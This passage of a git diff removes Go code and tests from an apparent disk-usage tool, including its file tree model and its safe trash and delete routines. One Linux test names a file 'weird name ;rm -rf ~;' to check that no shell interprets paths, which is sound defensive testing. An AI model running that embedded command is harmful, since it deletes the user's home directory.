a/internal/inventory/query.go +++ /dev/null @@ -1,176 +0,0 @@ -package inventory - -import ( - "container/heap" - "sort" -) - -// SizeMode selects which size drives layout and sorting. -type SizeMode uint8 - -const ( - SizeAllocated SizeMode = iota // disk usage (default) - SizeLogical // apparent size -) - -func (m SizeMode) String() string { - if m == SizeLogical { - return "logical" - } - return "allocated" -} - -// Total returns the node's aggregate size in the given mode. -func (n *Node) Total(m SizeMode) int64 { - if m == SizeLogical { - return n.TotSize - } - return n.TotAlloc -} - -// Own returns the node's own size in the given mode. -func (n *Node) Own(m SizeMode) int64 { - if m == SizeLogical { - return n.Size - } - return n.Alloc -} - -type ranked struct { - id NodeID - key int64 -} - -type minHeap []ranked - -func (h minHeap) Len() int { return len(h) } -func (h minHeap) Less(i, j int) bool { - if h[i].key != h[j].key { - return h[i].key < h[j].key - } - return h[i].id > h[j].id -} -func (h minHeap) Swap(i, j int) { h[i], h[j] = h[j], h[i] } -func (h *minHeap) Push(x any) { *h = append(*h, x.(ranked)) } -func (h *minHeap) Pop() any { - old := *h - x := old[len(old)-1] - *h = old[:len(old)-1] - return x -} - -// TopK keeps the k entries with the largest keys; O(n log k). -type TopK struct { - k int - h minHeap -} - -// NewTopK creates a collector for the k largest keys. -func NewTopK(k int) *TopK { return &TopK{k: k} } - -// Offer considers one candidate. -func (t *TopK) Offer(id NodeID, key int64) { - if t.k <= 0 { - return - } - if len(t.h) < t.k { - heap.Push(&t.h, ranked{id, key}) - return - } - if r := t.h[0]; key > r.key || key == r.key && id < r.id { - t.h[0] = ranked{id, key} - heap.Fix(&t.h, 0) - } -} - -// Sorted returns the collected IDs, largest key first (ties by ID). -func (t *TopK) Sorted() []NodeID { - rs := append([]ranked(nil), t.h...) - sort.Slice(rs, func(i, j int) bool { - if rs[i].key != rs[j].key { - return rs[i].key > rs[j].key - } - return rs[i].id < rs[j].id - }) - out := make([]NodeID, len(rs)) - for i, r := range rs { - out[i] = r.id - } - return out -} - -// Walk visits id and all its descendants depth-first (iteratively). -func (t *Tree) Walk(id NodeID, fn func(NodeID, *Node) bool) { - stack := []NodeID{id} - for len(stack) > 0 { - cur := stack[len(stack)-1] - stack = stack[:len(stack)-1] - n := t.Node(cur) - if !fn(cur, n) { - continue - } - for c := n.FirstChild; c != NoNode; c = t.Node(c).NextSibling { - stack = append(stack, c) - } - } -} - -// Top returns the k nodes beneath (and including) root with the largest key, -// considering only nodes accepted by keep. -func (t *Tree) Top(root NodeID, k int, keep func(*Node) bool, key func(*Node) int64) []NodeID { - tk := NewTopK(k) - t.Walk(root, func(id NodeID, n *Node) bool { - if keep(n) { - tk.Offer(id, key(n)) - } - return true - }) - return tk.Sorted() -} - -// SortedChildren returns the children of id ordered by size descending. -func (t *Tree) SortedChildren(id NodeID, m SizeMode) []NodeID { - var out []NodeID - t.Children(id, func(c NodeID, _ *Node) { out = append(out, c) }) - sort.Slice(out, func(i, j int) bool { - a, b := t.Node(out[i]).Total(m), t.Node(out[j]).Total(m) - if a != b { - return a > b - } - return out[i] < out[j] - }) - return out -} - -// ExtStat summarises one extension. -type ExtStat struct { - Ext string - Cat Category - Count int64 - Size int64 // logical - Alloc int64 -} - -// ExtStats aggregates file statistics by extension beneath root. -func (t *Tree) ExtStats(root NodeID) []ExtStat { - stats := make([]ExtStat, t.ExtCount()) - t.Walk(root, func(_ NodeID, n *Node) bool { - if n.Kind == KindFile && n.Flags&FlagHardlinkDup == 0 { - s := &stats[n.Ext] - s.Count++ - s.Size += n.Size - s.Alloc += n.Alloc - s.Cat = n.Cat - } - return true - }) - out := stats[:0] - for i, s := range stats { - if s.Count > 0 { - s.Ext = t.exts[i] - s.Cat = CategoryFor(s.Ext, false, false) - out = append(out, s) - } - } - return out -} diff --git a/internal/inventory/query_test.go b/internal/inventory/query_test.go deleted file mode 100644 index 8cd96f1..0000000 --- a/internal/inventory/query_test.go +++ /dev/null @@ -1,42 +0,0 @@ -package inventory - -import "testing" - -func TestTopKAndRecompute(t *testing.T) { - tr := New("/r", KindDir) - d := tr.Add(0, "d", KindDir) - for i := range 100 { - id := tr.Add(d, "f", KindFile) - n := tr.Node(id) - n.Size, n.Alloc = int64(i), int64(i) - } - tr.Recompute() - if got := tr.Node(0).TotSize; got != 4950 { - t.Fatalf("total %d", got) - } - if tr.Node(0).Files != 100 || tr.Node(0).Dirs != 1 { - t.Fatalf("counts %d %d", tr.Node(0).Files, tr.Node(0).Dirs) - } - top := tr.Top(0, 3, func(n *Node) bool { return n.Kind == KindFile }, func(n *Node) int64 { return n.Size }) - if len(top) != 3 || tr.Node(top[0]).Size != 99 || tr.Node(top[2]).Size != 97 { - t.Fatalf("top %v", top) - } - if p := tr.Path(top[0]); p != "/r/d/f" { - t.Fatalf("path %q", p) - } -} - -func TestExtAndCategory(t *testing.T) { - cases := map[string]string{"a.QCOW2": "qcow2", ".bashrc": "", "noext": "", "x.tar.gz": "gz", "trail.": ""} - for in, want := range cases { - if got := Ext(in); got != want { - t.Errorf("Ext(%q)=%q want %q", in, got, want) - } - } - if CategoryFor("qcow2", false, false) != CatDiskImage || CategoryFor("bin", true, false) != CatExecutable { - t.Fatal("category mapping") - } - if CategoryFor("", true, false) != CatCache { - t.Fatal("cache hint") - } -} diff --git a/internal/inventory/stats.go b/internal/inventory/stats.go deleted file mode 100644 index bce1573..0000000 --- a/internal/inventory/stats.go +++ /dev/null @@ -1,106 +0,0 @@ -package inventory - -import ( - "errors" - "io/fs" - "syscall" - "time" -) - -// ErrKind classifies scan errors for reporting. -type ErrKind uint8 - -const ( - ErrPermission ErrKind = iota - ErrVanished - ErrIO - ErrLoop - ErrOther - NumErrKinds -) - -func (k ErrKind) String() string { - return [...]string{"Permission denied", "Vanished during scan", "I/O error", "Symlink loop", "Other error"}[k] -} - -// Classify maps an OS error to an ErrKind. -func Classify(err error) ErrKind { - switch { - case errors.Is(err, fs.ErrPermission): - return ErrPermission - case errors.Is(err, fs.ErrNotExist): - return ErrVanished - case errors.Is(err, syscall.ELOOP): - return ErrLoop - case errors.Is(err, syscall.EIO): - return ErrIO - } - return ErrOther -} - -// ErrorRecord is one recorded scan error. -type ErrorRecord struct { - Node NodeID // node the error is attached to (the directory for listing failures) - Name string // entry name when no node was created (e.g. vanished) - Kind ErrKind - Msg string -} - -// MaxErrorRecords caps the detailed error list; counts are always exact. -const MaxErrorRecords = 100_000 - -// Stats describes a scan as a whole. -type Stats struct { - Root string - Start, End time.Time - Complete bool // scan finished (possibly with errors) - Cancelled bool - - Files, Dirs, Symlinks, Others int64 - - ErrCounts [NumErrKinds]int64 - Errors []ErrorRecord - Excluded int64 - SkippedMounts int64 - VirtualSkipped int64 - LoopsSkipped int64 - BrokenLinks int64 - HardlinkDups int64 - Unscanned int64 // directories never read because the scan was cancelled - - Excludes []string - OneFileSystem bool - Follow string - Workers int - FromSnapshot string -} - -// TotalErrors sums all error kinds. -func (s *Stats) TotalErrors() int64 { - var t int64 - for _, c := range s.ErrCounts { - t += c - } - return t -} - -// AddError records an error (the detailed list is capped). -func (s *Stats) AddError(r ErrorRecord) { - s.ErrCounts[r.Kind]++ - if len(s.Errors) < MaxErrorRecords { - s.Errors = append(s.Errors, r) - } -} - -// Elapsed is the scan duration so far (or total once finished). -func (s *Stats) Elapsed() time.Duration { - if !s.End.IsZero() { - return s.End.Sub(s.Start) - } - return time.Since(s.Start) -} - -// Incomplete reports whether totals may under-count real usage. -func (s *Stats) Incomplete() bool { - return !s.Complete || s.Cancelled || s.TotalErrors() > 0 || s.Unscanned > 0 -} diff --git a/internal/inventory/tree.go b/internal/inventory/tree.go deleted file mode 100644 index dd50123..0000000 --- a/internal/inventory/tree.go +++ /dev/null @@ -1,338 +0,0 @@ -// Package inventory is the in-memory filesystem model: an append-only arena -// of nodes addressed by stable NodeIDs, with incrementally maintained -// directory aggregates. -// -// Concurrency: a Tree has exactly one writer (the scan controller or a -// snapshot loader). Other goroutines must hold RLock while reading node data. -// Nodes are never removed, so a NodeID stays valid for the Tree's lifetime. -package inventory - -import ( - "math" - "path/filepath" - "slices" - "sync" - "time" -) - -// NodeID addresses a node within one Tree. The root is always 0. -type NodeID uint32 - -// NoNode is the nil NodeID. -const NoNode NodeID = ^NodeID(0) - -// Kind is the node type. -type Kind uint8 - -const ( - KindFile Kind = iota - KindDir - KindSymlink - KindOther // devices, sockets, fifos, reparse points -) - -func (k Kind) String() string { - return [...]string{"File", "Directory", "Symlink", "Special"}[k&3] -} - -// Flags record per-node facts. -type Flags uint16 - -const ( - FlagHardlinkDup Flags = 1 << iota // additional link to an inode counted elsewhere - FlagMountPoint // directory on a different device than its parent - FlagVirtualFS // virtual filesystem, not descended - FlagSkippedFS // other filesystem, not descended (--one-file-system) - FlagSparse // allocated < logical (sparse or compressed) - FlagError // stat or read failed - FlagIncomplete // directory contents not (fully) read - FlagScanned // directory fully read - FlagLoop // directory already visited via another path - FlagFollowed // reached through a followed symlink - FlagAllocUnknown // platform cannot report allocated size - FlagBrokenLink // symlink target does not exist - FlagHardlinked // regular file with link count > 1 - FlagDeleted // moved to trash from the UI -) - -// Node is one filesystem object. Sizes are own sizes; Tot* fields are -// aggregates including the node itself and (for directories) everything -// beneath it. -type Node struct { - Parent, FirstChild, NextSibling NodeID - dir uint32 // index into dir side table (directories only) - - Name string // single path component; the root holds the full root path - - Size, Alloc int64 // own logical / allocated bytes - TotSize, TotAlloc int64 // aggregates (hard-link duplicates contribute 0) - MTime int64 // unix nanoseconds - - Files, Dirs uint32 // recursive counts beneath (dirs excludes self) - Errors uint32 // recursive error count beneath and including self - Mode uint32 // fs.FileMode bits - UID, GID uint32 - Nlink uint32 - - Ext uint16 - Flags Flags - Kind Kind - Cat Category -} - -// IsDir reports whether the node is a directory. -func (n *Node) IsDir() bool { return n.Kind == KindDir } - -// Delta is an aggregate change applied to a node and all its ancestors. -type Delta struct { - Size, Alloc int64 - Files, Dirs, Errors int64 - Cat [NumCategories]int64 -} - -const chunkBits = 16 -const chunkSize = 1 << chunkBits - -// chunked is a growable array that never moves existing elements. -type chunked[T any] struct { - c [][]T - n int -} - -func (c *chunked[T]) add(v T) uint32 { - if c.n&(chunkSize-1) == 0 && c.n>>chunkBits == len(c.c) { - c.c = append(c.c, make([]T, 0, chunkSize)) - } - ch := &c.c[c.n>>chunkBits] - *ch = append(*ch, v) - c.n++ - return uint32(c.n - 1) -} - -func (c *chunked[T]) at(i uint32) *T { return &c.c[i>>chunkBits][i&(chunkSize-1)] } - -// Tree is the inventory for one scan root. -type Tree struct { - sync.RWMutex - - nodes chunked[Node] - dirs chunked[[NumCategories]int64] - - exts []string - extIdx map[string]uint16 - - Stats Stats -} - -// New creates a tree whose root has the given full path and kind. -func New(rootPath string, kind Kind) *Tree { - t := &Tree{exts: []string{""}, extIdx: map[string]uint16{"": 0}} - t.Stats.Root = rootPath - t.Stats.Start = time.Now() - t.Add(NoNode, rootPath, kind) - return t -} - -// Len returns the number of nodes. -func (t *Tree) Len() int { return t.nodes.n } - -// Node returns the node for id. The pointer stays valid; reading its fields -// concurrently with the writer requires RLock. -func (t *Tree) Node(id NodeID) *Node { return t.nodes.at(uint32(id)) } - -// Root returns the root NodeID (always 0). -func (t *Tree) Root() NodeID { return 0 } - -// Add appends a child node and links it under parent. Only the writer may -// call it. It does not touch aggregates; use Propagate. -func (t *Tree) Add(parent NodeID, name string, kind Kind) NodeID { - n := Node{Parent: parent, FirstChild: NoNode, NextSibling: NoNode, Name: name, Kind: kind} - if kind == KindDir { - n.dir = t.dirs.add([NumCategories]int64{}) - } else { - n.Ext = t.internExt(Ext(name)) - } - id := NodeID(t.nodes.add(n)) - if parent != NoNode { - p := t.Node(parent) - t.Node(id).NextSibling = p.FirstChild - p.FirstChild = id - } - return id -} - -func (t *Tree) internExt(e string) uint16 { - if i, ok := t.extIdx[e]; ok { - return i - } - if len(t.exts) >= 1<<16-1 { - return 0 - } - t.exts = append(t.exts, e) - t.extIdx[e] = uint16(len(t.exts) - 1) - return uint16(len(t.exts) - 1) -} - -// ExtName returns the extension string for a node ("" if none). -func (t *Tree) ExtName(n *Node) string { return t.exts[n.Ext] } - -// ExtCount returns the number of interned extensions (including ""). -func (t *Tree) ExtCount() int { return len(t.exts) } - -// ExtByIndex returns an interned extension. -func (t *Tree) ExtByIndex(i int) string { return t.exts[i] } - -// CatSizes returns the per-category allocated bytes beneath a directory. -func (t *Tree) CatSizes(id NodeID) *[NumCategories]int64 { - n := t.Node(id) - if n.Kind != KindDir { - return nil - } - return t.dirs.at(n.dir) -} - -// Propagate adds d to id and every ancestor. Cost is O(depth); callers batch -// many entries into one Delta. -func (t *Tree) Propagate(id NodeID, d Delta) { - for id != NoNode { - n := t.Node(id) - n.TotSize += d.Size - n.TotAlloc += d.Alloc - n.Files = addU32(n.Files, d.Files) - n.Dirs = addU32(n.Dirs, d.Dirs) - n.Errors = addU32(n.Errors, d.Errors) - if n.Kind == KindDir { - cs := t.dirs.at(n.dir) - for i, v := range d.Cat { - cs[i] += v - } - } - id = n.Parent - } -} - -// satAdd adds non-negative int64s, saturating at the maximum. -func satAdd(a, b int64) int64 { - if b > 0 && a > math.MaxInt64-b { - return math.MaxInt64 - } - return a + b -} - -func addU32(a uint32, d int64) uint32 { - v := int64(a) + d - if v < 0 { - return 0 - } - if v > 1<<32-1 { - return 1<<32 - 1 - } - return uint32(v) -} - -// Children calls fn for each child of id (in reverse insertion order). -func (t *Tree) Children(id NodeID, fn func(NodeID, *Node)) { - for c := t.Node(id).FirstChild; c != NoNode; { - n := t.Node(c) - fn(c, n) - c = n.NextSibling - } -} - -// ChildCount returns the number of direct children. -func (t *Tree) ChildCount(id NodeID) int { - k := 0 - for c := t.Node(id).FirstChild; c != NoNode; c = t.Node(c).NextSibling { - k++ - } - return k -} - -// Path reconstructs the full path of id. -func (t *Tree) Path(id NodeID) string { - var parts []string - for id != NoNode { - n := t.Node(id) - parts = append(parts, n.Name) - id = n.Parent - } - slices.Reverse(parts) - return filepath.Join(parts...) -} - -// Ancestors returns the chain root..id inclusive. -func (t *Tree) Ancestors(id NodeID) []NodeID { - var out []NodeID - for id != NoNode { - out = append(out, id) - id = t.Node(id).Parent - } - slices.Reverse(out) - return out -} - -// IsAncestor reports whether a is id or an ancestor of id. -func (t *Tree) IsAncestor(a, id NodeID) bool { - for id != NoNode { - if id == a { - return true - } - id = t.Node(id).Parent - } - return false -} - -// Depth returns the number of ancestors of id. -func (t *Tree) Depth(id NodeID) int { - d := 0 - for id = t.Node(id).Parent; id != NoNode; id = t.Node(id).Parent { - d++ - } - return d -} - -// Recompute rebuilds all aggregates bottom-up. It relies on the invariant -// that a parent's ID is smaller than its children's, which both the scanner -// and the snapshot loader guarantee. Used after loading a snapshot. -func (t *Tree) Recompute() { - for i := 0; i < t.Len(); i++ { - n := t.Node(NodeID(i)) - n.TotSize, n.TotAlloc, n.Files, n.Dirs = 0, 0, 0, 0 - n.Errors = 0 - if n.Flags&FlagError != 0 { - n.Errors = 1 - } - if n.Flags&FlagHardlinkDup == 0 { - n.TotSize, n.TotAlloc = n.Size, n.Alloc - } - if n.Kind == KindDir { - *t.dirs.at(n.dir) = [NumCategories]int64{} - } - } - // Sums saturate: snapshot data is untrusted and must not wrap to - // negative totals. - for i := t.Len() - 1; i > 0; i-- { - n := t.Node(NodeID(i)) - p := t.Node(n.Parent) - p.TotSize = satAdd(p.TotSize, n.TotSize) - p.TotAlloc = satAdd(p.TotAlloc, n.TotAlloc) - p.Errors = addU32(p.Errors, int64(n.Errors)) - cs := t.dirs.at(p.dir) - if n.Kind == KindDir { - p.Files = addU32(p.Files, int64(n.Files)) - p.Dirs = addU32(p.Dirs, int64(n.Dirs)+1) - for c, v := range t.dirs.at(n.dir) { - cs[c] = satAdd(cs[c], v) - } - } else { - p.Files = addU32(p.Files, 1) - if n.Flags&FlagHardlinkDup == 0 { - cs[n.Cat] = satAdd(cs[n.Cat], n.Alloc) - } - } - } -} - -// ExtIndexer returns a function interning extension strings; used by -// loaders that rebuild a tree from external data. -func (t *Tree) ExtIndexer() func(string) uint16 { return t.internExt } diff --git a/internal/platform/delete_unix.go b/internal/platform/delete_unix.go deleted file mode 100644 index 68febcd..0000000 --- a/internal/platform/delete_unix.go +++ /dev/null @@ -1,35 +0,0 @@ -//go:build unix - -package platform - -import ( - "errors" - "io/fs" - "os" - "path/filepath" - "syscall" -) - -// Delete permanently removes path (recursively for a directory) if it still -// matches want. The check and the removal both go through an os.Root on the -// parent directory, so a symlink swapped in since the scan cannot redirect -// the removal outside it. -func Delete(path string, want Expect) error { - if err := checkAbs(path); err != nil { - return err - } - dir, base := filepath.Dir(path), filepath.Base(path) - root, err := os.OpenRoot(dir) - if err != nil { - return err - } - defer root.Close() - fi, err := root.Lstat(base) - if err != nil { - return err - } - if fi.Sys().(*syscall.Stat_t).Uid != want.UID || fi.Mode()&fs.ModeType != want.Mode&fs.ModeType { - return errors.New("item changed since the scan (owner or type differs); rescan first") - } - return root.RemoveAll(base) -} diff --git a/internal/platform/mode_unix.go b/internal/platform/mode_unix.go deleted file mode 100644 index 54476c7..0000000 --- a/internal/platform/mode_unix.go +++ /dev/null @@ -1,36 +0,0 @@ -//go:build unix - -package platform - -import ( - "io/fs" - "syscall" -) - -func modeFromUnix(m uint32) fs.FileMode { - mode := fs.FileMode(m & 0o777) - switch m & syscall.S_IFMT { - case syscall.S_IFDIR: - mode |= fs.ModeDir - case syscall.S_IFLNK: - mode |= fs.ModeSymlink - case syscall.S_IFIFO: - mode |= fs.ModeNamedPipe - case syscall.S_IFSOCK: - mode |= fs.ModeSocket - case syscall.S_IFCHR: - mode |= fs.ModeDevice | fs.ModeCharDevice - case syscall.S_IFBLK: - mode |= fs.ModeDevice - } - if m&syscall.S_ISUID != 0 { - mode |= fs.ModeSetuid - } - if m&syscall.S_ISGID != 0 { - mode |= fs.ModeSetgid - } - if m&syscall.S_ISVTX != 0 { - mode |= fs.ModeSticky - } - return mode -} diff --git a/internal/platform/open_other.go b/internal/platform/open_other.go deleted file mode 100644 index 4aed149..0000000 --- a/internal/platform/open_other.go +++ /dev/null @@ -1,8 +0,0 @@ -//go:build !unix - -package platform - -import "os" - -// OpenContent opens a file whose content is about to be read. -func OpenContent(path string) (*os.File, error) { return os.Open(path) } diff --git a/internal/platform/open_unix.go b/internal/platform/open_unix.go deleted file mode 100644 index 5446760..0000000 --- a/internal/platform/open_unix.go +++ /dev/null @@ -1,15 +0,0 @@ -//go:build unix - -package platform - -import ( - "os" - "syscall" -) - -// OpenContent opens a file whose content is about to be read. It does not -// follow a final symlink, and O_NONBLOCK keeps a FIFO swapped in since the -// scan from blocking open(2) forever; callers still check the file type. -func OpenContent(path string) (*os.File, error) { - return os.OpenFile(path, os.O_RDONLY|syscall.O_NOFOLLOW|syscall.O_NONBLOCK, 0) -} diff --git a/internal/platform/ops.go b/internal/platform/ops.go deleted file mode 100644 index 85bcb8f..0000000 --- a/internal/platform/ops.go +++ /dev/null @@ -1,40 +0,0 @@ -package platform - -import ( - "errors" - "io/fs" - "os" - "os/exec" - "path/filepath" -) - -// startDetached runs a helper program with an argument vector (never a -// shell), detached from the terminal so it cannot disturb the TUI. -func startDetached(name string, args ...string) error { - cmd := exec.Command(name, args...) - cmd.Stdin, cmd.Stdout, cmd.Stderr = nil, nil, nil - if err := cmd.Start(); err != nil { - return err - } - go cmd.Wait() - return nil -} - -// Expect is what the scan recorded for an item about to be trashed. Trash -// refuses an item whose owner or file type no longer matches. -type Expect struct { - UID uint32 - Mode fs.FileMode // only the type bits are compared -} - -// checkAbs guards helper invocations: an absolute path can never be parsed -// as an option by the helper program. -func checkAbs(path string) error { - if !filepath.IsAbs(path) { - return errors.New("refusing relative path") - } - if _, err := os.Lstat(path); err != nil { - return err - } - return nil -} diff --git a/internal/platform/ops_darwin.go b/internal/platform/ops_darwin.go deleted file mode 100644 index 8880df1..0000000 --- a/internal/platform/ops_darwin.go +++ /dev/null @@ -1,81 +0,0 @@ -package platform - -import ( - "errors" - "fmt" - "os" - "path/filepath" - "syscall" -) - -// TrashName is the user-facing name of the trash. -const TrashName = "Trash" - -// Reveal selects the item in Finder. -func Reveal(path string) error { - if err := checkAbs(path); err != nil { - return err - } - return startDetached("open", "-R", path) -} - -// Trash moves path into ~/.Trash (same volume) or the volume's -// .Trashes/ directory. It never copies and never deletes. -func Trash(path string, want Expect) error { - if err := checkAbs(path); err != nil { - return err - } - home, err := os.UserHomeDir() - if err != nil { - return err - } - dirs := []string{filepath.Join(home, ".Trash")} - if vol := volumeOf(path); vol != "" { - dirs = append(dirs, filepath.Join(vol, ".Trashes", fmt.Sprint(os.Getuid()))) - } - base := filepath.Base(path) - for vi, dir := range dirs { - if err := os.MkdirAll(filepath.Dir(dir), 0o700); err != nil { - continue - } - // A volume trash is on a shared filesystem: another user could plant - // a symlink or an open directory there, so insist on a private one. - if err := ensurePrivateDir(dir, vi > 0); err != nil { - continue - } - for i := 1; i < 10000; i++ { - name := base - if i > 1 { - name = fmt.Sprintf("%s %d", base, i) - } - dst := filepath.Join(dir, name) - if _, err := os.Lstat(dst); err == nil { - continue - } - err := renameChecked(path, dst, want) - if errors.Is(err, syscall.EXDEV) { - break // try the next trash location - } - return err - } - } - return errors.New("trash: item is on a volume without a usable trash") -} - -func volumeOf(path string) string { - const prefix = "/Volumes/" - if len(path) > len(prefix) && path[:len(prefix)] == prefix { - rest := path[len(prefix):] - for i := 0; i < len(rest); i++ { - if rest[i] == '/' { - return prefix + rest[:i] - } - } - return path - } - return "" -} - -// Headless is always false: macOS has Finder and the Trash even without -// $DISPLAY (which it does not use). -func Headless() bool { return false } diff --git a/internal/platform/ops_linux.go b/internal/platform/ops_linux.go deleted file mode 100644 index 56a1353..0000000 --- a/internal/platform/ops_linux.go +++ /dev/null @@ -1,132 +0,0 @@ -package platform - -import ( - "errors" - "fmt" - "net/url" - "os" - "path/filepath" - "strconv" - "syscall" - "time" -) - -// TrashName is the user-facing name of the trash. -const TrashName = "trash" - -// Reveal opens the item's directory in the desktop file manager. -func Reveal(path string) error { - if err := checkAbs(path); err != nil { - return err - } - fi, err := os.Lstat(path) - if err == nil && !fi.IsDir() { - path = filepath.Dir(path) - } - return startDetached("xdg-open", path) -} - -// Trash moves path to the freedesktop.org trash: the home trash when on the -// same filesystem, otherwise $topdir/.Trash-$uid on the item's filesystem. -// It never copies across filesystems and never deletes. -func Trash(path string, want Expect) error { - if err := checkAbs(path); err != nil { - return err - } - st, err := os.Lstat(path) - if err != nil { - return err - } - dev := st.Sys().(*syscall.Stat_t).Dev - dataHome := os.Getenv("XDG_DATA_HOME") - if dataHome == "" { - home, err := os.UserHomeDir() - if err != nil { - return err - } - dataHome = filepath.Join(home, ".local", "share") - } - home := filepath.Join(dataHome, "Trash") - var trash, infoPath string - if hs, err := os.Stat(dataHome); err == nil && hs.Sys().(*syscall.Stat_t).Dev == dev { - trash, infoPath = home, path - } else { - top := mountTop(path, dev) - trash = filepath.Join(top, ".Trash-"+strconv.Itoa(os.Getuid())) - rel, err := filepath.Rel(top, path) - if err != nil { - return err - } - infoPath = rel - } - files, info := filepath.Join(trash, "files"), filepath.Join(trash, "info") - if trash == home { - if err := os.MkdirAll(trash, 0o700); err != nil { - return err - } - } else if err := ensurePrivateDir(trash, true); err != nil { - // On a shared filesystem another user could plant a symlink or a - // world-writable directory here; refuse rather than follow it. - return fmt.Errorf("trash directory %s is unsafe: %w", trash, err) - } - for _, d := range []string{files, info} { - if err := ensurePrivateDir(d, trash != home); err != nil { - return fmt.Errorf("trash directory %s is unsafe: %w", d, err) - } - } - base := filepath.Base(path) - for i := 1; i < 10000; i++ { - name := base - if i > 1 { - name = fmt.Sprintf("%s.%d", base, i) - } - dst := filepath.Join(files, name) - if _, err := os.Lstat(dst); err == nil { - continue // never overwrite an earlier trashed item (even without .trashinfo) - } - ip := filepath.Join(info, name+".trashinfo") - f, err := os.OpenFile(ip, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o600) - if errors.Is(err, os.ErrExist) { - continue - } - if err != nil { - return err - } - u := (&url.URL{Path: infoPath}).EscapedPath() - _, werr := fmt.Fprintf(f, "[Trash Info]\nPath=%s\nDeletionDate=%s\n", u, time.Now().Format("2006-01-02T15:04:05")) - cerr := f.Close() - if werr != nil || cerr != nil { - os.Remove(ip) - return errors.Join(werr, cerr) - } - if err := renameChecked(path, dst, want); err != nil { - os.Remove(ip) - return err - } - return nil - } - return errors.New("trash: too many items with the same name") -} - -// mountTop returns the top directory of the filesystem containing path. -func mountTop(path string, dev uint64) string { - cur := filepath.Dir(path) - for { - parent := filepath.Dir(cur) - if parent == cur { - return cur - } - st, err := os.Stat(parent) - if err != nil || st.Sys().(*syscall.Stat_t).Dev != dev { - return cur - } - cur = parent - } -} - -// Headless reports whether there is no graphical session (no X or Wayland -// display), so there is no file manager to open and no desktop trash anyone -// will empty. -func Headless() bool { - return os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == "" -} diff --git a/internal/platform/ops_linux_test.go b/internal/platform/ops_linux_test.go deleted file mode 100644 index dc8af24..0000000 --- a/internal/platform/ops_linux_test.go +++ /dev/null @@ -1,155 +0,0 @@ -package platform - -import ( - "os" - "path/filepath" - "strings" - "testing" -) - -func TestTrashFreedesktop(t *testing.T) { - data := t.TempDir() - t.Setenv("XDG_DATA_HOME", data) - dir := filepath.Join(data, "work") - os.Mkdir(dir, 0o755) - victim := filepath.Join(dir, "weird name ;rm -rf ~;") - if err := os.WriteFile(victim, []byte("x"), 0o644); err != nil { - t.Fatal(err) - } - if err := Trash(victim, want(t, victim)); err != nil { - t.Fatal(err) - } - if _, err := os.Lstat(victim); !os.IsNotExist(err) { - t.Fatal("file still present") - } - trashed := filepath.Join(data, "Trash", "files", "weird name ;rm -rf ~;") - if _, err := os.Lstat(trashed); err != nil { - t.Fatalf("not in trash: %v", err) - } - info, err := os.ReadFile(filepath.Join(data, "Trash", "info", "weird name ;rm -rf ~;.trashinfo")) - if err != nil || !strings.Contains(string(info), "Path="+strings.ReplaceAll(dir, " ", "%20")) { - t.Fatalf("bad trashinfo: %q %v", info, err) - } - // A second item with the same name gets a distinct trash name. - os.WriteFile(victim, []byte("y"), 0o644) - if err := Trash(victim, want(t, victim)); err != nil { - t.Fatal(err) - } - if _, err := os.Lstat(trashed + ".2"); err != nil { - t.Fatal("collision not handled") - } - if err := Trash("relative/path", Expect{}); err == nil { - t.Fatal("relative paths must be refused") - } -} - -func TestEnsurePrivateDirRejectsSymlink(t *testing.T) { - base := t.TempDir() - target := filepath.Join(base, "attacker") - os.Mkdir(target, 0o700) - link := filepath.Join(base, ".Trash-1000") - os.Symlink(target, link) - if err := ensurePrivateDir(link, false); err == nil { - t.Fatal("symlinked trash dir accepted") - } - open := filepath.Join(base, "open") - os.Mkdir(open, 0o777) - os.Chmod(open, 0o777) - if err := ensurePrivateDir(open, true); err == nil { - t.Fatal("world-accessible trash dir accepted") - } - if err := ensurePrivateDir(filepath.Join(base, "fresh"), true); err != nil { - t.Fatal(err) - } -} - -func want(t *testing.T, path string) Expect { - t.Helper() - m, err := Lstat(path) - if err != nil { - t.Fatal(err) - } - return Expect{UID: m.UID, Mode: m.Mode} -} - -// A parent swapped for a symlink after the scan must not redirect the move -// to whatever the symlink points at. -func TestTrashRefusesSwappedItem(t *testing.T) { - data := t.TempDir() - t.Setenv("XDG_DATA_HOME", data) - dir := filepath.Join(data, "work") - os.Mkdir(dir, 0o755) - victim := filepath.Join(dir, "big.iso") - os.WriteFile(victim, []byte("x"), 0o644) - scanned := want(t, victim) - - // Item replaced by a symlink to a file elsewhere: type differs. - other := filepath.Join(data, "precious") - os.WriteFile(other, []byte("keep"), 0o644) - os.Remove(victim) - os.Symlink(other, victim) - scannedDir := Expect{UID: scanned.UID, Mode: os.ModeDir} - if err := Trash(victim, scanned); err == nil { - t.Fatal("symlink accepted where a regular file was scanned") - } - if err := Trash(victim, scannedDir); err == nil { - t.Fatal("type mismatch accepted") - } - if _, err := os.Lstat(victim); err != nil { - t.Fatal("refused item was moved") - } - - // Owner differs from the scan. - os.Remove(victim) - os.WriteFile(victim, []byte("x"), 0o644) - if err := Trash(victim, Expect{UID: scanned.UID + 1, Mode: scanned.Mode}); err == nil { - t.Fatal("owner mismatch accepted") - } - entries, _ := os.ReadDir(filepath.Join(data, "Trash", "info")) - if len(entries) != 0 { - t.Fatalf("refused trash left %d .trashinfo files", len(entries)) - } - if err := Trash(victim, scanned); err != nil { - t.Fatal(err) - } -} - -func TestDeletePermanently(t *testing.T) { - base := t.TempDir() - dir := filepath.Join(base, "S01") - os.MkdirAll(filepath.Join(dir, "extras"), 0o755) - os.WriteFile(filepath.Join(dir, "extras", "E01.mkv"), []byte("x"), 0o644) - // A symlink inside must be removed, not followed. - keep := filepath.Join(base, "keep") - os.WriteFile(keep, []byte("k"), 0o644) - os.Symlink(keep, filepath.Join(dir, "link")) - - w := want(t, dir) - if err := Delete(dir, Expect{UID: w.UID, Mode: 0}); err == nil { - t.Fatal("type mismatch accepted") - } - if err := Delete(dir, w); err != nil { - t.Fatal(err) - } - if _, err := os.Lstat(dir); !os.IsNotExist(err) { - t.Fatal("directory still present") - } - if _, err := os.Lstat(keep); err != nil { - t.Fatal("symlink target was deleted") - } - if err := Delete("relative/path", Expect{}); err == nil { - t.Fatal("relative paths must be refused") - } -} - -func TestHeadless(t *testing.T) { - t.Setenv("DISPLAY", "") - t.Setenv("WAYLAND_DISPLAY", "") - if !Headless() { - t.Fatal("no display should be headless") - } - t.Setenv("WAYLAND_DISPLAY", "wayland-0") - if Headless() { - t.Fatal("wayland session reported headless") - } -} diff --git a/internal/platform/ops_other.go 